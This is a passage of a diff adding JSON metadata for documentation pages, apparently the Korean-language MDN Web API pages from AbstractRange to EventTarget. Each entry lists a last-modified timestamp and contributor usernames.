+    "modified": "2020-10-15T22:28:17.376Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/AbstractRange": {
+    "modified": "2020-11-25T03:27:07.810Z",
+    "contributors": [
+      "Sheppy"
+    ]
+  },
+  "Web/API/AbstractRange/collapsed": {
+    "modified": "2020-11-25T03:28:24.486Z",
+    "contributors": [
+      "chzhclq17"
+    ]
+  },
+  "Web/API/AbstractWorker": {
+    "modified": "2020-10-15T21:25:37.012Z",
+    "contributors": [
+      "alattalatta",
+      "Cho.Eun"
+    ]
+  },
+  "Web/API/AnalyserNode": {
+    "modified": "2020-10-15T21:31:33.070Z",
+    "contributors": [
+      "alattalatta",
+      "teoli",
+      "yuby"
+    ]
+  },
+  "Web/API/AnimationEvent": {
+    "modified": "2020-10-15T21:31:32.942Z",
+    "contributors": [
+      "alattalatta",
+      "teoli",
+      "yuby"
+    ]
+  },
+  "Web/API/AnimationEvent/AnimationEvent": {
+    "modified": "2020-10-15T21:50:16.716Z",
+    "contributors": [
+      "alattalatta",
+      "guyeol",
+      "sang8481"
+    ]
+  },
+  "Web/API/AnimationEvent/animationName": {
+    "modified": "2020-10-15T22:02:59.194Z",
+    "contributors": [
+      "cs09g",
+      "Latera"
+    ]
+  },
+  "Web/API/AnimationTimeline": {
+    "modified": "2020-10-15T21:59:32.459Z",
+    "contributors": [
+      "alattalatta",
+      "Sheppy"
+    ]
+  },
+  "Web/API/AnimationTimeline/currentTime": {
+    "modified": "2019-03-18T21:46:15.748Z",
+    "contributors": [
+      "yuj25"
+    ]
+  },
+  "Web/API/AudioBuffer": {
+    "modified": "2019-03-23T23:05:35.334Z",
+    "contributors": [
+      "yuby"
+    ]
+  },
+  "Web/API/AudioBufferSourceNode": {
+    "modified": "2020-10-15T21:31:34.549Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "teoli",
+      "yuby"
+    ]
+  },
+  "Web/API/AudioContext": {
+    "modified": "2019-03-23T23:05:33.323Z",
+    "contributors": [
+      "maesiltea",
+      "yuby"
+    ]
+  },
+  "Web/API/AudioDestinationNode": {
+    "modified": "2019-03-23T23:05:18.083Z",
+    "contributors": [
+      "teoli",
+      "yuby"
+    ]
+  },
+  "Web/API/AudioNode": {
+    "modified": "2019-03-23T23:05:16.509Z",
+    "contributors": [
+      "yuby"
+    ]
+  },
+  "Web/API/AudioParam": {
+    "modified": "2020-10-15T21:31:36.586Z",
+    "contributors": [
+      "alattalatta",
+      "yuby"
+    ]
+  },
+  "Web/API/Background_Tasks_API": {
+    "modified": "2020-10-15T22:10:24.944Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/BatteryManager": {
+    "modified": "2020-10-15T21:24:28.565Z",
+    "contributors": [
+      "alattalatta",
+      "AshfaqHossain",
+      "oohii"
+    ]
+  },
+  "Web/API/BatteryManager/charging": {
+    "modified": "2019-03-23T22:40:03.701Z",
+    "contributors": [
+      "pjc0247"
+    ]
+  },
+  "Web/API/BatteryManager/chargingTime": {
+    "modified": "2020-12-03T14:44:28.402Z",
+    "contributors": [
+      "dink95",
+      "duduindo",
+      "shh0884"
+    ]
+  },
+  "Web/API/BatteryManager/dischargingTime": {
+    "modified": "2020-10-15T22:20:34.926Z",
+    "contributors": [
+      "shh0884"
+    ]
+  },
+  "Web/API/BiquadFilterNode": {
+    "modified": "2019-03-23T22:14:02.527Z",
+    "contributors": [
+      "chant"
+    ]
+  },
+  "Web/API/Blob": {
+    "modified": "2020-10-15T21:38:09.911Z",
+    "contributors": [
+      "alattalatta",
+      "hsl0",
+      "parksb",
+      "limkukhyun",
+      "kuil09"
+    ]
+  },
+  "Web/API/Blob/Blob": {
+    "modified": "2020-10-15T22:03:59.171Z",
+    "contributors": [
+      "alattalatta",
+      "limkukhyun"
+    ]
+  },
+  "Web/API/Body": {
+    "modified": "2020-10-15T22:07:57.321Z",
+    "contributors": [
+      "alattalatta",
+      "RickBrown"
+    ]
+  },
+  "Web/API/Body/json": {
+    "modified": "2020-10-15T22:07:55.949Z",
+    "contributors": [
+      "ldss3sang"
+    ]
+  },
+  "Web/API/BroadcastChannel": {
+    "modified": "2020-10-15T22:17:58.054Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg"
+    ]
+  },
+  "Web/API/CSS": {
+    "modified": "2020-12-05T02:32:47.247Z",
+    "contributors": [
+      "movegun1027",
+      "alattalatta"
+    ]
+  },
+  "Web/API/CSSMediaRule": {
+    "modified": "2020-10-15T22:19:18.892Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/CSSOMString": {
+    "modified": "2019-03-18T21:23:46.366Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/CSSStyleSheet": {
+    "modified": "2020-10-15T21:52:17.278Z",
+    "contributors": [
+      "alattalatta",
+      "erikadoyle"
+    ]
+  },
+  "Web/API/CSS_Object_Model": {
+    "modified": "2020-02-22T14:50:23.635Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "OkHyeon",
+      "teoli"
+    ]
+  },
+  "Web/API/Cache": {
+    "modified": "2020-10-15T21:39:42.857Z",
+    "contributors": [
+      "alattalatta",
+      "LeeJunyeol",
+      "oinochoe",
+      "jpmedley"
+    ]
+  },
+  "Web/API/Cache/put": {
+    "modified": "2020-10-15T21:39:41.309Z",
+    "contributors": [
+      "alattalatta",
+      "minias"
+    ]
+  },
+  "Web/API/CanvasCaptureMediaStreamTrack": {
+    "modified": "2020-12-04T10:32:28.199Z"
+  },
+  "Web/API/CanvasCaptureMediaStreamTrack/canvas": {
+    "modified": "2020-12-04T10:32:29.054Z",
+    "contributors": [
+      "chzhclq17"
+    ]
+  },
+  "Web/API/CanvasCaptureMediaStreamTrack/requestFrame": {
+    "modified": "2020-12-04T11:10:43.136Z",
+    "contributors": [
+      "chzhclq17"
+    ]
+  },
+  "Web/API/Channel_Messaging_API": {
+    "modified": "2020-10-15T21:56:39.098Z",
+    "contributors": [
+      "alattalatta",
+      "DomenicDenicola"
+    ]
+  },
+  "Web/API/Channel_Messaging_API/Using_channel_messaging": {
+    "modified": "2019-03-23T22:06:53.771Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/CharacterData": {
+    "modified": "2020-10-15T22:10:05.669Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/ChildNode": {
+    "modified": "2020-10-15T22:04:53.961Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/ChildNode/before": {
+    "modified": "2020-10-15T22:10:12.463Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/ChildNode/remove": {
+    "modified": "2020-10-15T22:10:05.225Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Clients": {
+    "modified": "2020-10-15T22:21:49.146Z"
+  },
+  "Web/API/Clients/claim": {
+    "modified": "2020-10-15T22:21:49.492Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/Clipboard": {
+    "modified": "2020-10-15T22:05:00.336Z",
+    "contributors": [
+      "dooyou21",
+      "dragmove"
+    ]
+  },
+  "Web/API/ClipboardEvent": {
+    "modified": "2020-10-15T22:25:08.748Z"
+  },
+  "Web/API/ClipboardEvent/clipboardData": {
+    "modified": "2020-10-15T22:25:08.765Z",
+    "contributors": [
+      "dooyou21"
+    ]
+  },
+  "Web/API/Clipboard_API": {
+    "modified": "2020-10-15T22:27:46.263Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Comment": {
+    "modified": "2020-10-15T22:14:25.162Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Console": {
+    "modified": "2020-10-15T21:46:06.487Z",
+    "contributors": [
+      "alattalatta",
+      "Sihong12",
+      "roupkk"
+    ]
+  },
+  "Web/API/Console/assert": {
+    "modified": "2020-10-15T22:26:48.682Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Console/clear": {
+    "modified": "2020-10-15T22:26:50.195Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Console/count": {
+    "modified": "2020-10-15T22:26:52.117Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Console/countReset": {
+    "modified": "2020-10-15T22:26:50.267Z",
+    "contributors": [
+      "n2ptune",
+      "alattalatta"
+    ]
+  },
+  "Web/API/Console/debug": {
+    "modified": "2020-10-15T22:26:49.828Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Console/error": {
+    "modified": "2020-10-15T22:04:54.645Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Console/group": {
+    "modified": "2020-10-15T21:54:18.420Z",
+    "contributors": [
+      "dragmove",
+      "fdevjm"
+    ]
+  },
+  "Web/API/Console/log": {
+    "modified": "2020-10-15T21:50:43.068Z",
+    "contributors": [
+      "wisedog",
+      "nazuna1",
+      "HanuLatte"
+    ]
+  },
+  "Web/API/Console/time": {
+    "modified": "2020-10-15T22:04:56.398Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Console/timeEnd": {
+    "modified": "2020-10-15T22:05:55.946Z",
+    "contributors": [
+      "falsy"
+    ]
+  },
+  "Web/API/Console/trace": {
+    "modified": "2020-10-15T22:04:54.893Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Console/warn": {
+    "modified": "2020-10-15T22:04:54.926Z",
+    "contributors": [
+      "wisedog",
+      "cs09g"
+    ]
+  },
+  "Web/API/Console_API": {
+    "modified": "2020-10-15T22:26:44.936Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Crypto": {
+    "modified": "2019-03-23T22:44:34.028Z",
+    "contributors": [
+      "hoony"
+    ]
+  },
+  "Web/API/Crypto/getRandomValues": {
+    "modified": "2020-10-15T21:53:17.195Z",
+    "contributors": [
+      "SphinxKnight",
+      "alattalatta",
+      "llighter"
+    ]
+  },
+  "Web/API/Crypto/subtle": {
+    "modified": "2020-10-15T21:40:01.783Z",
+    "contributors": [
+      "alattalatta",
+      "hoony"
+    ]
+  },
+  "Web/API/CustomElementRegistry": {
+    "modified": "2020-10-15T22:26:46.894Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/CustomEvent": {
+    "modified": "2020-10-15T22:13:58.148Z",
+    "contributors": [
+      "cs09g",
+      "fscholz"
+    ]
+  },
+  "Web/API/CustomEvent/CustomEvent": {
+    "modified": "2020-10-15T22:13:58.234Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/DOMObject": {
+    "modified": "2019-03-18T21:34:55.307Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/DOMParser": {
+    "modified": "2020-10-15T22:30:25.978Z",
+    "contributors": [
+      "composite"
+    ]
+  },
+  "Web/API/DOMString": {
+    "modified": "2020-08-23T06:55:37.415Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g"
+    ]
+  },
+  "Web/API/DOMTokenList": {
+    "modified": "2020-10-15T21:59:28.763Z",
+    "contributors": [
+      "alattalatta",
+      "jpmedley"
+    ]
+  },
+  "Web/API/DOMTokenList/contains": {
+    "modified": "2019-03-18T21:46:24.774Z",
+    "contributors": [
+      "Ken123777"
+    ]
+  },
+  "Web/API/DataTransfer": {
+    "modified": "2020-10-15T21:49:28.518Z",
+    "contributors": [
+      "alattalatta",
+      "samee",
+      "Sheppy"
+    ]
+  },
+  "Web/API/DataTransfer/getData": {
+    "modified": "2020-10-15T21:49:29.417Z",
+    "contributors": [
+      "alattalatta",
+      "stitchworkingonthecode"
+    ]
+  },
+  "Web/API/Document": {
+    "modified": "2020-10-15T21:17:53.312Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "PineMt",
+      "teoli",
+      "fscholz",
+      "khalid32",
+      "pusanbear"
+    ]
+  },
+  "Web/API/Document/Document": {
+    "modified": "2020-10-15T22:14:18.230Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g"
+    ]
+  },
+  "Web/API/Document/URL": {
+    "modified": "2020-10-15T22:14:26.025Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Document/adoptNode": {
+    "modified": "2019-03-23T22:28:00.709Z",
+    "contributors": [
+      "wbamberg",
+      "hoony"
+    ]
+  },
+  "Web/API/Document/alinkColor": {
+    "modified": "2019-03-23T23:47:30.441Z",
+    "contributors": [
+      "fscholz",
+      "AshfaqHossain",
+      "teoli",
+      "pusanbear"
+    ]
+  },
+  "Web/API/Document/all": {
+    "modified": "2020-10-15T22:21:31.673Z",
+    "contributors": [
+      "VictorTaekLim"
+    ]
+  },
+  "Web/API/Document/anchors": {
+    "modified": "2020-10-15T21:17:17.828Z",
+    "contributors": [
+      "alattalatta",
+      "hoony",
+      "mrsshr",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "pusanbear"
+    ]
+  },
+  "Web/API/Document/applets": {
+    "modified": "2019-03-23T23:47:36.352Z",
+    "contributors": [
+      "hoony",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "pusanbear"
+    ]
+  },
+  "Web/API/Document/body": {
+    "modified": "2020-10-15T21:17:21.395Z",
+    "contributors": [
+      "alattalatta",
+      "hoony",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "pusanbear"
+    ]
+  },
+  "Web/API/Document/characterSet": {
+    "modified": "2020-10-15T21:46:48.262Z",
+    "contributors": [
+      "alattalatta",
+      "dragmove"
+    ]
+  },
+  "Web/API/Document/compatMode": {
+    "modified": "2020-10-15T22:27:44.534Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Document/cookie": {
+    "modified": "2020-10-15T22:33:58.038Z",
+    "contributors": [
+      "junnapark"
+    ]
+  },
+  "Web/API/Document/createDocumentFragment": {
+    "modified": "2019-03-23T22:22:47.234Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Document/createElement": {
+    "modified": "2020-10-15T21:16:05.958Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "khalid32",
+      "Hyeongryeol"
+    ]
+  },
+  "Web/API/Document/createElementNS": {
+    "modified": "2019-03-23T22:04:11.325Z",
+    "contributors": [
+      "jungjuseong"
+    ]
+  },
+  "Web/API/Document/createRange": {
+    "modified": "2019-03-18T21:17:12.932Z",
+    "contributors": [
+      "hyeonseok",
+      "incleaf"
+    ]
+  },
+  "Web/API/Document/createTextNode": {
+    "modified": "2019-03-23T23:51:22.512Z",
+    "contributors": [
+      "keist99",
+      "fscholz",
+      "khalid32",
+      "Hyeongryeol"
+    ]
+  },
+  "Web/API/Document/createTreeWalker": {
+    "modified": "2020-10-15T22:00:38.900Z",
+    "contributors": [
+      "alattalatta",
+      "kewlbear"
+    ]
+  },
+  "Web/API/Document/defaultView": {
+    "modified": "2020-10-15T21:46:49.613Z",
+    "contributors": [
+      "alattalatta",
+      "dragmove"
+    ]
+  },
+  "Web/API/Document/designMode": {
+    "modified": "2020-10-15T21:46:53.373Z",
+    "contributors": [
+      "alattalatta",
+      "dragmove"
+    ]
+  },
+  "Web/API/Document/doctype": {
+    "modified": "2019-03-23T22:21:56.667Z",
+    "contributors": [
+      "littlewether",
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/Document/documentElement": {
+    "modified": "2020-10-15T21:47:31.685Z",
+    "contributors": [
+      "alattalatta",
+      "stitchworkingonthecode"
+    ]
+  },
+  "Web/API/Document/documentURI": {
+    "modified": "2020-02-22T14:34:30.884Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/Document/domain": {
+    "modified": "2020-10-15T22:25:43.157Z",
+    "contributors": [
+      "alattalatta",
+      "composite"
+    ]
+  },
+  "Web/API/Document/drag_event": {
+    "modified": "2020-10-15T22:34:00.801Z",
+    "contributors": [
+      "chrisdavidmills",
+      "zzoPark"
+    ]
+  },
+  "Web/API/Document/dragend_event": {
+    "modified": "2020-10-15T22:33:58.037Z",
+    "contributors": [
+      "zzoPark"
+    ]
+  },
+  "Web/API/Document/dragstart_event": {
+    "modified": "2020-10-15T22:14:30.053Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "cs09g"
+    ]
+  },
+  "Web/API/Document/embeds": {
+    "modified": "2019-03-23T22:31:36.037Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/Document/execCommand": {
+    "modified": "2020-10-15T21:45:41.419Z",
+    "contributors": [
+      "alattalatta",
+      "KihyukYoo",
+      "hyeonseok",
+      "Sebastianz"
+    ]
+  },
+  "Web/API/Document/forms": {
+    "modified": "2019-03-23T22:31:38.326Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/Document/getElementById": {
+    "modified": "2020-10-15T21:18:26.662Z",
+    "contributors": [
+      "alattalatta",
+      "Parcovia",
+      "fscholz",
+      "teoli",
+      "Sebuls"
+    ]
+  },
+  "Web/API/Document/getElementsByTagName": {
+    "modified": "2020-10-15T21:53:50.856Z",
+    "contributors": [
+      "cs09g",
+      "dayoungles"
+    ]
+  },
+  "Web/API/Document/getElementsByTagNameNS": {
+    "modified": "2020-10-15T22:14:18.499Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Document/getSelection": {
+    "modified": "2019-03-23T22:51:22.015Z",
+    "contributors": [
+      "x86kernel"
+    ]
+  },
+  "Web/API/Document/hasFocus": {
+    "modified": "2020-10-15T21:16:21.345Z",
+    "contributors": [
+      "alattalatta",
+      "PineMt",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "Suguni"
+    ]
+  },
+  "Web/API/Document/head": {
+    "modified": "2020-10-15T21:47:08.638Z",
+    "contributors": [
+      "alattalatta",
+      "dragmove"
+    ]
+  },
+  "Web/API/Document/hidden": {
+    "modified": "2020-10-15T21:51:08.698Z",
+    "contributors": [
+      "alattalatta",
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/Document/images": {
+    "modified": "2019-03-23T22:31:48.179Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/Document/implementation": {
+    "modified": "2020-10-15T22:08:11.282Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Document/importNode": {
+    "modified": "2020-10-15T21:25:38.637Z",
+    "contributors": [
+      "fscholz",
+      "wbamberg",
+      "Cho.Eun"
+    ]
+  },
+  "Web/API/Document/keydown_event": {
+    "modified": "2019-04-15T09:18:19.341Z",
+    "contributors": [
+      "irenesmith",
+      "ExE-Boss",
+      "fscholz",
+      "jinahya"
+    ]
+  },
+  "Web/API/Document/keyup_event": {
+    "modified": "2020-11-24T11:14:25.912Z",
+    "contributors": [
+      "yoonseungho"
+    ]
+  },
+  "Web/API/Document/links": {
+    "modified": "2019-03-23T22:27:09.273Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/Document/location": {
+    "modified": "2020-10-15T21:57:50.852Z",
+    "contributors": [
+      "alattalatta",
+      "daktwigim"
+    ]
+  },
+  "Web/API/Document/open": {
+    "modified": "2020-11-16T23:26:20.380Z",
+    "contributors": [
+      "composite"
+    ]
+  },
+  "Web/API/Document/querySelector": {
+    "modified": "2020-10-15T21:49:45.017Z",
+    "contributors": [
+      "alattalatta",
+      "daktwigim",
+      "DeadIntegral",
+      "imskojs"
+    ]
+  },
+  "Web/API/Document/querySelectorAll": {
+    "modified": "2020-10-15T22:14:19.985Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Document/readyState": {
+    "modified": "2020-10-15T22:21:34.621Z",
+    "contributors": [
+      "VictorTaekLim"
+    ]
+  },
+  "Web/API/Document/readystatechange_event": {
+    "modified": "2020-10-15T22:21:31.020Z",
+    "contributors": [
+      "VictorTaekLim"
+    ]
+  },
+  "Web/API/Document/referrer": {
+    "modified": "2019-03-23T22:07:02.003Z",
+    "contributors": [
+      "SangHun"
+    ]
+  },
+  "Web/API/Document/scroll_event": {
+    "modified": "2019-04-30T13:59:45.621Z",
+    "contributors": [
+      "wbamberg",
+      "irenesmith",
+      "guyeol"
+    ]
+  },
+  "Web/API/Document/styleSheetSets": {
+    "modified": "2020-12-05T03:19:19.028Z",
+    "contributors": [
+      "movegun1027"
+    ]
+  },
+  "Web/API/Document/visibilityState": {
+    "modified": "2020-10-15T21:51:10.755Z",
+    "contributors": [
+      "alattalatta",
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/Document/visibilitychange_event": {
+    "modified": "2020-10-15T21:49:12.234Z",
+    "contributors": [
+      "alattalatta",
+      "irenesmith",
+      "ExE-Boss",
+      "fscholz",
+      "dragmove"
+    ]
+  },
+  "Web/API/Document/write": {
+    "modified": "2020-10-15T22:10:15.149Z",
+    "contributors": [
+      "Parcovia"
+    ]
+  },
+  "Web/API/DocumentFragment": {
+    "modified": "2020-10-28T12:45:54.495Z",
+    "contributors": [
+      "zzoPark"
+    ]
+  },
+  "Web/API/DocumentOrShadowRoot": {
+    "modified": "2020-10-15T22:11:35.284Z",
+    "contributors": [
+      "DeadIntegral",
+      "Sheppy"
+    ]
+  },
+  "Web/API/DocumentOrShadowRoot/activeElement": {
+    "modified": "2020-10-15T22:26:23.654Z",
+    "contributors": [
+      "alattalatta",
+      "composite"
+    ]
+  },
+  "Web/API/DocumentOrShadowRoot/styleSheets": {
+    "modified": "2020-10-15T22:11:37.061Z",
+    "contributors": [
+      "alattalatta",
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/DocumentType": {
+    "modified": "2020-10-15T22:10:02.690Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Document_Object_Model": {
+    "modified": "2020-11-06T11:33:39.006Z",
+    "contributors": [
+      "SeonHyungJo",
+      "2ssue",
+      "BG.Choi",
+      "alattalatta",
+      "jswisher",
+      "cs09g",
+      "EddieSungminYim",
+      "Netaras",
+      "Hyeongryeol",
+      "pusanbear",
+      "CN",
+      "Sebuls",
+      "Channy"
+    ]
+  },
+  "Web/API/Document_Object_Model/Events": {
+    "modified": "2020-12-01T12:09:06.517Z",
+    "contributors": [
+      "dink95"
+    ]
+  },
+  "Web/API/Document_Object_Model/Examples": {
+    "modified": "2020-05-26T14:45:03.340Z",
+    "contributors": [
+      "alattalatta",
+      "chrisdavidmills",
+      "jswisher",
+      "jsx",
+      "Netaras"
+    ]
+  },
+  "Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors": {
+    "modified": "2019-05-29T17:36:17.250Z",
+    "contributors": [
+      "jswisher",
+      "alattalatta"
+    ]
+  },
+  "Web/API/Document_Object_Model/Using_the_W3C_DOM_Level_1_Core": {
+    "modified": "2020-03-10T10:48:51.010Z",
+    "contributors": [
+      "kimploo"
+    ]
+  },
+  "Web/API/Document_Object_Model/소개": {
+    "modified": "2020-02-10T04:12:58.179Z",
+    "contributors": [
+      "sungik-choi",
+      "jswisher",
+      "cs09g",
+      "2circumflex",
+      "dakeshi"
+    ]
+  },
+  "Web/API/DragEvent": {
+    "modified": "2020-10-15T22:02:04.580Z",
+    "contributors": [
+      "alattalatta",
+      "YanBellavance"
+    ]
+  },
+  "Web/API/Element": {
+    "modified": "2020-10-15T21:24:24.428Z",
+    "contributors": [
+      "alattalatta",
+      "kewlbear",
+      "fscholz",
+      "moolow",
+      "khalid32",
+      "junghyun_han"
+    ]
+  },
+  "Web/API/Element/accessKey": {
+    "modified": "2020-10-15T22:14:28.158Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Element/attributes": {
+    "modified": "2019-03-23T23:42:26.377Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "Netaras"
+    ]
+  },
+  "Web/API/Element/classList": {
+    "modified": "2020-10-15T21:54:51.786Z",
+    "contributors": [
+      "cs09g",
+      "alattalatta",
+      "pers0n4",
+      "kooljay82"
+    ]
+  },
+  "Web/API/Element/className": {
+    "modified": "2019-03-23T22:11:31.161Z",
+    "contributors": [
+      "kooljay82"
+    ]
+  },
+  "Web/API/Element/click_event": {
+    "modified": "2020-10-15T22:09:56.213Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "irenesmith",
+      "ExE-Boss",
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/Element/clientHeight": {
+    "modified": "2019-03-18T20:58:55.769Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "devcken"
+    ]
+  },
+  "Web/API/Element/clientLeft": {
+    "modified": "2020-10-15T22:13:14.202Z",
+    "contributors": [
+      "kbsbroad"
+    ]
+  },
+  "Web/API/Element/closest": {
+    "modified": "2020-10-15T22:27:29.394Z",
+    "contributors": [
+      "composite"
+    ]
+  },
+  "Web/API/Element/currentStyle": {
+    "modified": "2019-03-23T22:28:24.891Z",
+    "contributors": [
+      "nugurejeil"
+    ]
+  },
+  "Web/API/Element/getAttribute": {
+    "modified": "2020-10-15T21:30:04.251Z",
+    "contributors": [
+      "wisedog",
+      "fscholz",
+      "JangWonWoong"
+    ]
+  },
+  "Web/API/Element/getElementsByClassName": {
+    "modified": "2020-10-15T22:08:10.843Z",
+    "contributors": [
+      "whdckszxxx"
+    ]
+  },
+  "Web/API/Element/getElementsByTagName": {
+    "modified": "2019-03-23T22:46:49.355Z",
+    "contributors": [
+      "gjsee",
+      "H-yun"
+    ]
+  },
+  "Web/API/Element/id": {
+    "modified": "2020-10-15T22:08:18.780Z",
+    "contributors": [
+      "whdckszxxx"
+    ]
+  },
+  "Web/API/Element/innerHTML": {
+    "modified": "2020-10-15T21:47:43.585Z",
+    "contributors": [
+      "DeadIntegral",
+      "apple77y",
+      "rlaxognsk"
+    ]
+  },
+  "Web/API/Element/insertAdjacentHTML": {
+    "modified": "2020-10-15T21:37:34.409Z",
+    "contributors": [
+      "alattalatta",
+      "DeadIntegral",
+      "dragonist"
+    ]
+  },
+  "Web/API/Element/outerHTML": {
+    "modified": "2020-10-15T22:16:55.354Z",
+    "contributors": [
+      "lifeisnovel"
+    ]
+  },
+  "Web/API/Element/removeAttribute": {
+    "modified": "2020-10-15T21:33:44.118Z",
+    "contributors": [
+      "alattalatta",
+      "HyunkwonEddie-Cho"
+    ]
+  },
+  "Web/API/Element/scrollHeight": {
+    "modified": "2020-10-15T21:33:38.513Z",
+    "contributors": [
+      "alattalatta",
+      "SphinxKnight",
+      "HyunkwonEddie-Cho"
+    ]
+  },
+  "Web/API/Element/scrollIntoView": {
+    "modified": "2020-10-15T21:22:00.098Z",
+    "contributors": [
+      "limkukhyun",
+      "fscholz",
+      "khalid32",
+      "hooriza"
+    ]
+  },
+  "Web/API/Element/tagName": {
+    "modified": "2020-10-15T22:29:51.547Z",
+    "contributors": [
+      "composite"
+    ]
+  },
+  "Web/API/Element/touchcancel_event": {
+    "modified": "2019-03-23T22:00:06.368Z",
+    "contributors": [
+      "irenesmith",
+      "ExE-Boss",
+      "fscholz",
+      "Kim.Hyunjung"
+    ]
+  },
+  "Web/API/Encoding_API": {
+    "modified": "2020-10-15T22:26:02.845Z",
+    "contributors": [
+      "chaewonkong"
+    ]
+  },
+  "Web/API/Event": {
+    "modified": "2020-10-15T21:17:19.725Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "fscholz",
+      "jsx",
+      "teoli",
+      "pusanbear"
+    ]
+  },
+  "Web/API/Event/Event": {
+    "modified": "2020-10-15T22:24:05.554Z",
+    "contributors": [
+      "dbwodlf3"
+    ]
+  },
+  "Web/API/Event/cancelBubble": {
+    "modified": "2019-03-23T22:12:48.462Z",
+    "contributors": [
+      "pouu69"
+    ]
+  },
+  "Web/API/Event/cancelable": {
+    "modified": "2019-03-24T00:07:51.177Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "99corps"
+    ]
+  },
+  "Web/API/Event/createEvent": {
+    "modified": "2019-03-23T22:23:08.290Z",
+    "contributors": [
+      "agakt"
+    ]
+  },
+  "Web/API/Event/eventPhase": {
+    "modified": "2019-03-23T22:03:57.060Z",
+    "contributors": [
+      "rure"
+    ]
+  },
+  "Web/API/Event/isTrusted": {
+    "modified": "2020-10-15T21:49:09.218Z",
+    "contributors": [
+      "alattalatta",
+      "."
+    ]
+  },
+  "Web/API/Event/preventDefault": {
+    "modified": "2019-03-24T00:07:50.666Z",
+    "contributors": [
+      "chiyodad",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "99corps"
+    ]
+  },
+  "Web/API/Event/stopImmediatePropagation": {
+    "modified": "2019-03-23T22:28:15.457Z",
+    "contributors": [
+      "eatdesignlove"
+    ]
+  },
+  "Web/API/Event/stopPropagation": {
+    "modified": "2019-03-23T22:27:38.205Z",
+    "contributors": [
+      "gnujoow",
+      "eatdesignlove"
+    ]
+  },
+  "Web/API/Event/target": {
+    "modified": "2020-10-15T22:06:37.631Z",
+    "contributors": [
+      "jmtgr",
+      "samee",
+      "zx6658"
+    ]
+  },
+  "Web/API/EventListener": {
+    "modified": "2020-10-15T22:08:23.074Z",
+    "contributors": [
+      "whdckszxxx"
+    ]
+  },
+  "Web/API/EventSource": {
+    "modified": "2020-10-15T22:15:01.771Z",
+    "contributors": [
+      "khg0712",
+      "fscholz"
+    ]
+  },
+  "Web/API/EventSource/EventSource": {
+    "modified": "2020-10-15T22:14:59.374Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/EventTarget": {
+    "modified": "2020-10-15T21:43:23.930Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras",
+      "wbamberg"
+    ]
+  },
+  "Web/API/EventTarget/EventTarget": {
+    "modified": "2020-10-15T22:09:54.264Z",
+    "contributors": [
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/EventTarget/addEventListener": {
